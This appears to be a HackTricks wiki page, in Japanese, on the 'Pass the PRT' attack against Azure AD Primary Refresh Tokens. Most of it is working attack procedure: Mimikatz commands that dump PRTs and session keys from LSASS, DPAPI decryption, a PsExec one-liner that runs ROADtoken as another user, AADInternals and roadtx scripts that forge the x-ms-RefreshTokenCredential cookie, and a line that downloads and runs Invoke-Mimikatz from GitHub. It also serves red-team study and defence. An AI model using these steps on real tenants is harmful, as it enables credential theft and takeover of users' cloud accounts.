Az - Pass the PRT

Support HackTricks

PRTとは

Az - Primary Refresh Token (PRT)

PRTを持っているか確認する

Dsregcmd.exe /status

SSO Stateセクションでは、AzureAdPrtがYESに設定されていることを確認してください。

同じ出力で、デバイスがAzureに参加しているかAzureAdJoinedフィールド)も確認できます:

PRT cookieは実際には**x-ms-RefreshTokenCredentialと呼ばれ、JSON Web Token (JWT)です。JWTは3つの部分**、headerpayloadsignatureから成り、.で区切られ、すべてがurl-safe base64でエンコードされています。典型的なPRT cookieは以下のheaderとbodyを含みます:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

実際の**Primary Refresh Token (PRT)refresh_token内にカプセル化されており、これはAzure ADの管理下にあるキーで暗号化されているため、その内容は不透明で解読不可能です。フィールドis_primary**は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示しています。クッキーが意図された特定のログインセッションに結びついたままであることを保証するために、request_noncelogon.microsoftonline.comページから送信されます。

TPMを使用したPRTクッキーフロー

LSASSプロセスはKDFコンテキストをTPMに送信し、TPMはセッションキー(デバイスがAzureADに登録されたときに収集され、TPMに保存される)と前のコンテキストを使用してキーを派生し、この派生キーを使用してPRTクッキー(JWT)に署名します。

KDFコンテキストはAzureADからのノンスとPRTであり、コンテキスト(ランダムバイト)と混合してJWTを作成します。

したがって、PRTがTPM内にあるため抽出できない場合でも、LSASSを悪用して新しいコンテキストから派生キーを要求し、生成されたキーを使用してクッキーに署名することが可能です。

PRT悪用シナリオ

通常のユーザーとして、LSASSにSSOデータを要求することでPRTの使用を要求することが可能です。 これはネイティブアプリのようにWeb Account Manager(トークンブローカー)からトークンを要求することで行うことができます。WAMは要求をLSASSに渡し、LSASSは署名されたPRTアサーションを使用してトークンを要求します。または、ブラウザベース(ウェブ)フローPRTクッキーヘッダーとして使用し、Azure ASのログインページへのリクエストを認証することもできます。

SYSTEMとして、TPMで保護されていない場合はPRTを盗むか、LSASS内のPRTキーと暗号APIを使用してやり取りすることができます。

Pass-the-PRT攻撃の例

攻撃 - ROADtoken

この方法についての詳細はこの投稿をチェックしてください。ROADtokenは適切なディレクトリから**BrowserCore.exeを実行し、これを使用してPRTクッキーを取得**します。このクッキーはその後、ROADtoolsを使用して認証し、永続的なリフレッシュトークンを取得するために使用できます。

有効なPRTクッキーを生成するために最初に必要なのはノンスです。 これを取得するには次のようにします:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

または roadrecon を使用:

roadrecon auth prt-init

次に、roadtokenを使用して新しいPRTを取得できます(攻撃対象のユーザーのプロセスからツールを実行します):

.\ROADtoken.exe <nonce>

ワンライナーとして:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

次に、生成されたクッキーを使用して、Azure AD Graph または Microsoft Graph を使用してログインするためのトークンを生成できます:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken はユーザーのPRTトークンを取得します。Azure ADに参加しているか、ハイブリッド参加しているコンピュータから取得します。BrowserCore.exeを使用してPRTトークンを取得します。

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

また、Mimikatzからの値を持っている場合は、AADInternalsを使用してトークンを生成することもできます:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.comにアクセスし、login.microsoftonline.comのすべてのクッキーをクリアして、新しいクッキーを入力します。

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

次に https://portal.azure.com にアクセスします。

残りはデフォルトのままにしてください。ページをリフレッシュしてもクッキーが消えないことを確認してください。消える場合は、ミスがあり、プロセスを再度行う必要があります。消えない場合は問題ありません。

攻撃 - Mimikatz

手順

  1. PRT (Primary Refresh Token) は LSASS (Local Security Authority Subsystem Service) から抽出され、その後の使用のために保存されます。

  2. 次にセッションキーが抽出されます。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスターキーを使用して復号化する必要があります。DPAPI (Data Protection API) に関する詳細情報は、次のリソースで確認できます: HackTricks およびその応用については Pass-the-cookie attack を参照してください。

  3. セッションキーの復号化後、PRT の派生キーとコンテキストが取得されます。これらはPRT クッキーの作成に不可欠です。特に、派生キーはクッキーを構成する JWT (JSON Web Token) の署名に使用されます。このプロセスの詳細な説明は Dirk-jan によって提供されており、こちら で確認できます。

PRT が TPM 内にあり lsass 内にない場合、mimikatz はそれを抽出できません。 しかし、TPM からコンテキストから派生キーを取得し、それを使用してクッキーに署名することが可能です (オプション3を確認してください)。

これらの詳細を抽出するために実行されたプロセスの詳細な説明は、こちらで確認できます: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

2021年8月以降の修正により、他のユーザーの PRT トークンを取得することはできません。ユーザー自身のみが自分の PRT を取得できます (ローカル管理者は他のユーザーの PRT にアクセスできませんが、自分の PRT にはアクセスできます)。

mimikatz を使用して PRT を抽出できます:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Prt とラベル付けされた部分をコピーして保存します。 また、以下にハイライトされているセッションキー(ProofOfPossesionKey フィールドの KeyValue)も抽出します。これは暗号化されており、解読するためにDPAPIマスターキーを使用する必要があります。

PRTデータが表示されない場合、デバイスがAzure ADに参加していないか、Windows 10の古いバージョンを使用しているためにPRTがない可能性があります。

セッションキーを解読するには、SYSTEM権限に昇格して、コンピュータコンテキストで実行し、DPAPIマスターキーを使用して解読できるようにする必要があります。以下のコマンドを使用できます:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

オプション 1 - Full Mimikatz

  • ここで、Context値の両方をコピーします:

  • そして、派生キー値もコピーします:

  • 最後に、これらすべての情報を使用してPRT cookiesを生成できます:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • https://login.microsoftonline.comにアクセスし、login.microsoftonline.comのすべてのクッキーをクリアして、新しいクッキーを入力します。

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

残りはデフォルトのままであるべきです。ページをリフレッシュしてもクッキーが消えないことを確認してください。消える場合は、ミスをしている可能性があり、プロセスを再度行う必要があります。消えない場合は、大丈夫です。

オプション 2 - roadrecon を使用して PRT を利用する

  • まず PRT を更新し、roadtx.prt に保存します:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • これで、roadtx browserprtauth を使用してインタラクティブブラウザでトークンをリクエストできます。roadtx describe コマンドを使用すると、アクセス トークンに MFA クレームが含まれていることがわかります。これは、この場合に使用した PRT にも MFA クレームが含まれていたためです。

roadtx browserprtauth
roadtx describe < .roadtools_auth

オプション 3 - derived keys を使用した roadrecon

mimikatz によってダンプされたコンテキストと derived key を持っている場合、roadrecon を使用して新しい署名付きクッキーを生成することが可能です:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

参考文献

HackTricksをサポートする

Last updated